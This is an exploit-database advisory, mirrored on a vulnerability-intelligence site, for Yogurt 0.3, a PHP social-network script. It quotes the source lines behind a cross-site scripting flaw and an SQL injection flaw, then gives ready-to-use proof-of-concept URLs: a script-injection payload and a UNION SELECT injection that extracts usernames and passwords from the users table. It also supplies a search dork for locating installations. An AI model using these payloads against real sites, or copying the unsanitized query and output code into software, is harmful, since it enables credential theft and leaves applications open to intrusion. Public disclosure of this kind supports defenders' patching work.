Lucene search
+L

yogurt 0.3 - Cross-Site Scripting / SQL Injection

🗓️ 11 Jun 2009 00:00:00Reported by Br0lyType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 39 Views

Yogurt 0.3 - Cross-Site Scripting / SQL Injectio

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2009-2033
11 Jun 200900:00
circl
circl
Circl
CVE-2009-2034
11 Jun 200900:00
circl
cve
CVE
CVE-2009-2033
12 Jun 200917:28
cve
cve
CVE
CVE-2009-2034
12 Jun 200917:28
cve
cvelist
Cvelist
CVE-2009-2033
12 Jun 200917:28
cvelist
cvelist
Cvelist
CVE-2009-2034
12 Jun 200917:28
cvelist
euvd
EUVD
EUVD-2009-2029
7 Oct 202500:30
euvd
euvd
EUVD
EUVD-2009-2030
7 Oct 202500:30
euvd
nvd
NVD
CVE-2009-2033
12 Jun 200918:00
nvd
nvd
NVD
CVE-2009-2034
12 Jun 200918:00
nvd
Rows per page
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

  Name : Yogurt
  Site    : http://sourceforge.net/projects/yogurt/
  Down : http://sourceforge.net/project/showfiles.php?group_id=112452&package_id=141123&release_id=297459
  Dork  : "Yogurt build"

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


  Found By : br0ly
  Made in  : Brasil
  Contact  : br0ly[dot]Code[at]gmail[dot]com

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


  Description:

  Bug : XSS

  In index.php:

  index.php:45:    if(isset($_GET['msg']))
  index.php:48:        print("<center>". $_GET['msg'] . "</center>"); <-- XSS VUL

  BUG : SQL INJECTION

  system/writemessage.php:81: $rs = mysql_query("SELECT * FROM messages WHERE id=" . $_GET['original'], $db) <-- SQLi Vul
  system/writemessage.php:82:                or bug("Database error, please try again");
  system/writemessage.php:83:            $row = mysql_fetch_array($rs);



  In neither case was the method _GET filtered properly.
  Others .phps also contains the failures I'm posting the first one I found .. ^^

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


  P0c:

    XSS  :  http://localhost/xscripts/yogurt/index.php?msg=<script>alert('br0ly')</script>

    First: Go to: http://localhost/yogurt/newuser.php, after register, just login and you can explore the sqli.

    SQLi :
    http://localhost/yogurt/system/writemessage.php?original=-1+union+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8+from+users--



  OBS: need register_globals=on;

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2009-06-11]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation